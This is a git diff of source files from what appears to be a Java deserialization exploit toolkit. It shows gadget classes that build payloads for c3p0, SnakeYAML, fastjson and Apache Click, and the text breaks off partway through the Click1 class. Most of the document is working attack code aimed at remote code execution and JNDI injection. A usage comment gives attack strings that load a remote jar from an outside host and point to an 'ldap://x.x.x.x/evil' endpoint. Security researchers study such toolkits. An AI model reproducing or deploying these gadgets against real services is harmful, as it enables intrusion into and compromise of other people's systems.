a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java index d76cec8..ff661a6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P04.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P04.java @@ -1,154 +1,154 @@ -package com.qi4l.JYso.gadgets; - -import com.mchange.v2.c3p0.PoolBackedDataSource; -import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.HexUtils; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.naming.ResourceRef; - -import javax.naming.Reference; -import javax.naming.Referenceable; -import javax.naming.StringRefAddr; -import javax.sql.ConnectionPoolDataSource; -import javax.sql.PooledConnection; -import java.io.IOException; -import java.io.PrintWriter; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.logging.Logger; - -/** - * 同上 只不过使用了 snakeyaml - * 加了一些常见的 Gadget,有点套娃的感觉了 - *

- * 用法: - * 远程加载 Jar 包 - * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' - *

- * 向服务器写入 Jar 包并加载(不出网) - * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' - * C3P04 'localJar-./yaml.jar' - *

- * C3P0 二次反序列化 - * C3P04 'c3p0Double-/usr/CC6.ser' - *

- * C3P0 JNDI 以及 JdbcRowSetImpl JNDI - * C3P04 'c3p0Jndi-ldap://x.x.x.x/evil' - * C3P04 'jndi-ldap://x.x.x.x/evil' - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) -@Authors({Authors.QI4L}) -public class C3P04 implements ObjectPayload { - public Object getObject(String command) throws Exception { - - int sep = command.lastIndexOf('-'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - - String[] parts = command.split("-"); - PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); - Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); - return b; - } - - - private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - - private final String cmd; - - private final String type; - - public PoolSource(String type, String cmd) { - this.type = type; - this.cmd = cmd; - } - - public Reference getReference() { - - String yaml = ""; - - switch (type) { - case "remoteJar": - yaml = "!!javax.script.ScriptEngineManager [\n" + - " !!java.net.URLClassLoader [[\n" + - " !!java.net.URL [\"" + cmd + "\"]\n" + - " ]]\n" + - "]"; - break; - case "localJar": - yaml = "!!javax.script.ScriptEngineManager [\n" + - " !!java.net.URLClassLoader [[\n" + - " !!java.net.URL [\"file://" + cmd + "\"]\n" + - " ]]\n" + - "]"; - break; - case "writeJar": - String[] parts = cmd.split(":"); - try { - yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]); - } catch (Exception e) { - throw new RuntimeException(e); - } - break; - case "c3p0Double": - try { - byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); - String hexString = HexUtils.bytesToHexString(data, data.length); - yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + - "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; - } catch (IOException e) { - throw new RuntimeException(e); - } - break; - case "c3p0Jndi": - yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + - "jndiName: " + cmd + "\n" + - "loginTimeout: 0"; - break; - case "jndi": - yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + - "dataSourceName: " + cmd + "\n" + - "autoCommit: true"; - break; - - } - - ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", - true, "org.apache.naming.factory.BeanFactory", null); - ref.add(new StringRefAddr("forceString", "QI4L=load")); - ref.add(new StringRefAddr("QI4L", yaml)); - return ref; - } - - public PrintWriter getLogWriter() { - return null; - } - - public void setLogWriter(PrintWriter out) { - } - - public int getLoginTimeout() { - return 0; - } - - public void setLoginTimeout(int seconds) { - } - - public Logger getParentLogger() { - return null; - } - - public PooledConnection getPooledConnection() { - return null; - } - - public PooledConnection getPooledConnection(String user, String password) { - return null; - } - } -} +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.HexUtils; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.IOException; +import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.logging.Logger; + +/** + * 同上 只不过使用了 snakeyaml + * 加了一些常见的 Gadget,有点套娃的感觉了 + *

+ * 用法: + * 远程加载 Jar 包 + * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' + *

+ * 向服务器写入 Jar 包并加载(不出网) + * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' + * C3P04 'localJar-./yaml.jar' + *

+ * C3P0 二次反序列化 + * C3P04 'c3p0Double-/usr/CC6.ser' + *

+ * C3P0 JNDI 以及 JdbcRowSetImpl JNDI + * C3P04 'c3p0Jndi-ldap://x.x.x.x/evil' + * C3P04 'jndi-ldap://x.x.x.x/evil' + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) +@Authors({Authors.QI4L}) +public class C3P04 implements ObjectPayload { + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf('-'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String[] parts = command.split("-"); + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + private final String type; + + public PoolSource(String type, String cmd) { + this.type = type; + this.cmd = cmd; + } + + public Reference getReference() { + + String yaml = ""; + + switch (type) { + case "remoteJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "localJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "writeJar": + String[] parts = cmd.split(":"); + try { + yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]); + } catch (Exception e) { + throw new RuntimeException(e); + } + break; + case "c3p0Double": + try { + byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); + String hexString = HexUtils.bytesToHexString(data, data.length); + yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + + "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; + } catch (IOException e) { + throw new RuntimeException(e); + } + break; + case "c3p0Jndi": + yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + + "jndiName: " + cmd + "\n" + + "loginTimeout: 0"; + break; + case "jndi": + yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + + "dataSourceName: " + cmd + "\n" + + "autoCommit: true"; + break; + + } + + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=load")); + ref.add(new StringRefAddr("QI4L", yaml)); + return ref; + } + + public PrintWriter getLogWriter() { + return null; + } + + public void setLogWriter(PrintWriter out) { + } + + public int getLoginTimeout() { + return 0; + } + + public void setLoginTimeout(int seconds) { + } + + public Logger getParentLogger() { + return null; + } + + public PooledConnection getPooledConnection() { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java index 10658eb..5c1e6c6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java @@ -1,99 +1,99 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; - -import javax.naming.Reference; -import javax.naming.Referenceable; -import javax.sql.ConnectionPoolDataSource; -import javax.sql.PooledConnection; -import java.io.PrintWriter; -import java.util.logging.Logger; - - -/** - * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) -@Authors({Authors.MBECHLER}) -public class C3P092 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - int sep = command.lastIndexOf(':'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - - String url = command.substring(0, sep); - String className = command.substring(sep + 1); - - // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID - - ClassPool pool = new ClassPool(); - pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); - final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); - - ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); - - // mock method name until armed - final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass( - new SuClassLoader(),SuClassLoader.class.getProtectionDomain() - ); - - Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); - Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); - return b; - } - - - private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { - - private final String className; - - private final String url; - - public PoolSource(String className, String url) { - this.className = className; - this.url = url; - } - - public Reference getReference() { - return new Reference("exploit", this.className, this.url); - } - - public PrintWriter getLogWriter() { - return null; - } - - public void setLogWriter(PrintWriter out) { - } - - public int getLoginTimeout() { - return 0; - } - - public void setLoginTimeout(int seconds) { - } - - public Logger getParentLogger() { - return null; - } - - public PooledConnection getPooledConnection() { - return null; - } - - public PooledConnection getPooledConnection(String user, String password) { - return null; - } - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.util.logging.Logger; + + +/** + * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P092 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID + + ClassPool pool = new ClassPool(); + pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); + final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); + + ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); + + // mock method name until armed + final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ); + + Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); + Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String className; + + private final String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() { + return null; + } + + public void setLogWriter(PrintWriter out) { + } + + public int getLoginTimeout() { + return 0; + } + + public void setLoginTimeout(int seconds) { + } + + public Logger getParentLogger() { + return null; + } + + public PooledConnection getPooledConnection() { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java index 90d3761..377050b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java @@ -1,39 +1,39 @@ -package com.qi4l.JYso.gadgets; - -import com.alibaba.fastjson.JSONArray; -import com.mchange.v2.c3p0.ComboPooledDataSource; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.UNAM4}) -public class C3P0JDBC implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - if (!command.toLowerCase().startsWith("jdbc:")) { - throw new Exception("Command format is: eviljdbcurl"); - } - - ComboPooledDataSource o = new ComboPooledDataSource(); - o.setJdbcUrl(command); - o.setMaxIdleTime(1); - o.setMaxPoolSize(1); - - JSONArray jsonArray = new JSONArray(); - jsonArray.add(o); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap<>(); - hashMap.put(o, val); - return hashMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.mchange.v2.c3p0.ComboPooledDataSource; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) +@Authors({Authors.UNAM4}) +public class C3P0JDBC implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + if (!command.toLowerCase().startsWith("jdbc:")) { + throw new Exception("Command format is: eviljdbcurl"); + } + + ComboPooledDataSource o = new ComboPooledDataSource(); + o.setJdbcUrl(command); + o.setMaxIdleTime(1); + o.setMaxPoolSize(1); + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap<>(); + hashMap.put(o, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java index 067c365..a05b84e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java @@ -1,41 +1,41 @@ -package com.qi4l.JYso.gadgets; - -import com.alibaba.fastjson.JSONArray; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.UNAM4}) -public class C3P0JNDI implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - if (command.toLowerCase().startsWith("jndi:")) { - command = command.substring(5); - } - - if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { - throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); - } - - Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); - Reflections.setFieldValue(o, "jndiName", command); - Reflections.setFieldValue(o, "identityToken", "exp"); - JSONArray jsonArray = new JSONArray(); - jsonArray.add(o); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap<>(); - hashMap.put(o, val); - return hashMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) +@Authors({Authors.UNAM4}) +public class C3P0JNDI implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); + Reflections.setFieldValue(o, "jndiName", command); + Reflections.setFieldValue(o, "identityToken", "exp"); + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap<>(); + hashMap.put(o, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java index 502d8d2..844d6cb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java @@ -1,40 +1,40 @@ -package com.qi4l.JYso.gadgets; - -import com.alibaba.fastjson.JSONArray; -import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; - -@SuppressWarnings({"unused"}) -@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.UNAM4}) -public class C3P0JNDI2 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - if (command.toLowerCase().startsWith("jndi:")) { - command = command.substring(5); - } - - if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { - throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); - } - - JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource(); - o.setJndiName(command); - JSONArray jsonArray = new JSONArray(); - jsonArray.add(o); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap<>(); - hashMap.put(o, val); - return hashMap; - } -} +package com.qi4l.JYso.gadgets; + +import com.alibaba.fastjson.JSONArray; +import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; + +@SuppressWarnings({"unused"}) +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) +@Authors({Authors.UNAM4}) +public class C3P0JNDI2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource(); + o.setJndiName(command); + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap<>(); + hashMap.put(o, val); + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java index 0bef7c8..d610558 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java @@ -1,15 +1,15 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.utils.Reflections; - -@SuppressWarnings({"rawtypes", "unused"}) -public class C3P0RefDataSource implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); - // requires ordering - Reflections.setFieldValue(obj, "jndiName", command); - Reflections.setFieldValue(obj, "loginTimeout", 0); - return obj; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; + +@SuppressWarnings({"rawtypes", "unused"}) +public class C3P0RefDataSource implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); + // requires ordering + Reflections.setFieldValue(obj, "jndiName", command); + Reflections.setFieldValue(obj, "loginTimeout", 0); + return obj; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java index 77d6a5a..c17549a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java @@ -1,42 +1,42 @@ -package com.qi4l.JYso.gadgets; - -import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.commons.codec.binary.Hex; - -import javax.naming.Name; -import javax.naming.Reference; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationTargetException; -import java.net.URI; -import java.util.Hashtable; - -@SuppressWarnings({"unused"}) -public class C3P0WrapperConnPool implements ObjectPayload { - public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException, - InstantiationException, IllegalAccessException, InvocationTargetException, IOException { - ByteArrayOutputStream b = new ByteArrayOutputStream(); - try (ObjectOutputStream oos = new ObjectOutputStream(b)) { - Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ - Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); - con.setAccessible(true); - Reference jndiref = new Reference("Foo", clazz, codebase); - Object ref = con.newInstance(jndiref, null, null, null); - oos.writeObject(ref); - } - - return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ - } - - @Override - public Object getObject(String command) throws Exception { - URI uri = new URI(command); - String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); - Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1])); - return obj; - } -} +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Hex; + +import javax.naming.Name; +import javax.naming.Reference; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.util.Hashtable; + +@SuppressWarnings({"unused"}) +public class C3P0WrapperConnPool implements ObjectPayload { + public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, IOException { + ByteArrayOutputStream b = new ByteArrayOutputStream(); + try (ObjectOutputStream oos = new ObjectOutputStream(b)) { + Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ + Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); + con.setAccessible(true); + Reference jndiref = new Reference("Foo", clazz, codebase); + Object ref = con.newInstance(jndiref, null, null, null); + oos.writeObject(ref); + } + + return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ + } + + @Override + public Object getObject(String command) throws Exception { + URI uri = new URI(command); + String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); + Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1])); + return obj; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Click1.java b/src/main/java/com/qi4l/JYso/gadgets/Click1.java index 53f4fc2..fbe3a5d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Click1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Click1.java @@ -1,78 +1,78 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.click.control.Column; -import org.apache.click.control.Table; - -import java.math.BigInteger; -import java.util.Comparator; -import java.util.PriorityQueue; - - -/** - * Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). - * We use java.util.PriorityQueue to trigger ColumnComparator.compare(). - * After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. - *

- * Chain: - *

- * java.util.PriorityQueue.readObject() - * java.util.PriorityQueue.heapify() - * java.util.PriorityQueue.siftDown() - * java.util.PriorityQueue.siftDownUsingComparator() - * org.apache.click.control.Column$ColumnComparator.compare() - * org.apache.click.control.Column.getProperty() - * org.apache.click.control.Column.getProperty() - * org.apache.click.util.PropertyUtils.getValue() - * org.apache.click.util.PropertyUtils.getObjectPropertyValue() - * java.lang.reflect.Method.invoke() - * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() - * ... - *

- * Arguments: - * - command to execute - *

- * Yields: - * - RCE via TemplatesImpl.getOutputProperties() - *

- * Requires: - * - Apache Click - * - servlet-api of any version - *

- * by @artsploit - */ - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) -@Authors({Authors.ARTSPLOIT}) -public class Click1 implements ObjectPayload { - - public Object getObject(String command) throws Exception { - // prepare a Column.comparator with mock values - final Column column = new Column("lowestSetBit"); - column.setTable(new Table()); - Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); - - // create queue with numbers and our comparator - final PriorityQueue queue = new PriorityQueue(2, comparator); - // stub data for replacement later - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - - // switch method called by the comparator, - // so it will trigger getOutputProperties() when objects in the queue are compared - column.setName("outputProperties"); - - // finally, we inject and new TemplatesImpl object into the queue, - // so its getOutputProperties() method will be called - final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - final Object template; - template = 